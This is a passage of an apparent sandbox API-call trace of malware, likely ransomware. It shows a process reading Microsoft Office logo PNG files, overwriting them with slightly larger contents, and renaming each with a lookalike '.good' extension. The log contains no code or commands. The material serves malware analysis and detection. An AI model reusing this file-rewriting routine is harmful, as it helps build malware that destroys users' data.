"c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-180.png.gоod")) returned 1 [0220.734] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png", lpFilePart=0x0) returned 0x52 [0220.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0220.734] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3871d38 | out: lpFileInformation=0x3871d38*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb09)) returned 1 [0220.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0220.735] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png", lpFilePart=0x0) returned 0x52 [0220.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0220.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.735] GetFileType (hFile=0x864) returned 0x1 [0220.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0220.735] GetFileType (hFile=0x864) returned 0x1 [0220.735] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xb09 [0220.735] ReadFile (in: hFile=0x864, lpBuffer=0x3872b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3872b40*, lpNumberOfBytesRead=0x1fcee238*=0xb09, lpOverlapped=0x0) returned 1 [0220.736] CloseHandle (hObject=0x864) returned 1 [0220.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png", lpFilePart=0x0) returned 0x52 [0220.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0220.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.821] GetFileType (hFile=0x864) returned 0x1 [0220.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0220.821] GetFileType (hFile=0x864) returned 0x1 [0220.821] WriteFile (in: hFile=0x864, lpBuffer=0x36eed80*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36eed80*, lpNumberOfBytesWritten=0x1fcee148*=0xb10, lpOverlapped=0x0) returned 1 [0220.823] CloseHandle (hObject=0x864) returned 1 [0220.823] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png", lpFilePart=0x0) returned 0x52 [0220.823] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png.gоod", lpFilePart=0x0) returned 0x57 [0220.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0220.823] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd68b94, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1 [0220.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0220.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-80.png.gоod")) returned 1 [0220.824] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x67 [0220.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0220.824] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x36f0058 | out: lpFileInformation=0x36f0058*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cf)) returned 1 [0220.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0220.824] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x67 [0220.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0220.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.824] GetFileType (hFile=0x864) returned 0x1 [0220.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0220.825] GetFileType (hFile=0x864) returned 0x1 [0220.825] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x6cf [0220.825] ReadFile (in: hFile=0x864, lpBuffer=0x36f0ad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x36f0ad0*, lpNumberOfBytesRead=0x1fcee238*=0x6cf, lpOverlapped=0x0) returned 1 [0220.827] CloseHandle (hObject=0x864) returned 1 [0220.838] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x67 [0222.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0222.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0222.793] GetFileType (hFile=0x82c) returned 0x1 [0222.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0222.793] GetFileType (hFile=0x82c) returned 0x1 [0222.793] WriteFile (in: hFile=0x82c, lpBuffer=0x34e45a8*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x34e45a8*, lpNumberOfBytesWritten=0x1fcee148*=0x6d0, lpOverlapped=0x0) returned 1 [0222.794] CloseHandle (hObject=0x82c) returned 1 [0222.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x67 [0222.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x6c [0222.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0222.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8102f603, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6d0)) returned 1 [0222.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0222.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-100.png.gоod")) returned 1 [0222.796] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x67 [0222.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0222.796] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x34e5908 | out: lpFileInformation=0x34e5908*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81a)) returned 1 [0222.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0222.796] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x67 [0222.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0222.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0222.796] GetFileType (hFile=0x82c) returned 0x1 [0222.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0222.796] GetFileType (hFile=0x82c) returned 0x1 [0222.796] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x81a [0222.796] ReadFile (in: hFile=0x82c, lpBuffer=0x34e64d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34e64d0*, lpNumberOfBytesRead=0x1fcee238*=0x81a, lpOverlapped=0x0) returned 1 [0222.798] CloseHandle (hObject=0x82c) returned 1 [0222.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x67 [0222.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0222.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0222.811] GetFileType (hFile=0x82c) returned 0x1 [0222.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0222.811] GetFileType (hFile=0x82c) returned 0x1 [0222.811] WriteFile (in: hFile=0x82c, lpBuffer=0x35604c0*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35604c0*, lpNumberOfBytesWritten=0x1fcee148*=0x820, lpOverlapped=0x0) returned 1 [0222.812] CloseHandle (hObject=0x82c) returned 1 [0222.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x67 [0222.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x6c [0222.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0222.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8105583e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x820)) returned 1 [0222.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0222.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-140.png.gоod")) returned 1 [0222.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x67 [0222.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0222.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3561820 | out: lpFileInformation=0x3561820*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56)) returned 1 [0222.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0222.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x67 [0222.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0222.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0222.814] GetFileType (hFile=0x82c) returned 0x1 [0222.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0222.814] GetFileType (hFile=0x82c) returned 0x1 [0222.814] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa56 [0222.814] ReadFile (in: hFile=0x82c, lpBuffer=0x3562620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3562620*, lpNumberOfBytesRead=0x1fcee238*=0xa56, lpOverlapped=0x0) returned 1 [0222.815] CloseHandle (hObject=0x82c) returned 1 [0222.827] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x67 [0222.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0222.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0222.828] GetFileType (hFile=0x82c) returned 0x1 [0222.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0222.828] GetFileType (hFile=0x82c) returned 0x1 [0222.828] WriteFile (in: hFile=0x82c, lpBuffer=0x35dced0*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35dced0*, lpNumberOfBytesWritten=0x1fcee148*=0xa60, lpOverlapped=0x0) returned 1 [0222.829] CloseHandle (hObject=0x82c) returned 1 [0222.829] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x67 [0222.829] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x6c [0222.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0222.830] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8107ba33, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa60)) returned 1 [0222.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0222.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-180.png.gоod")) returned 1 [0222.834] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x66 [0222.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0222.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x35de230 | out: lpFileInformation=0x35de230*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c3)) returned 1 [0222.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0222.834] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x66 [0222.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0222.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-80.png"), 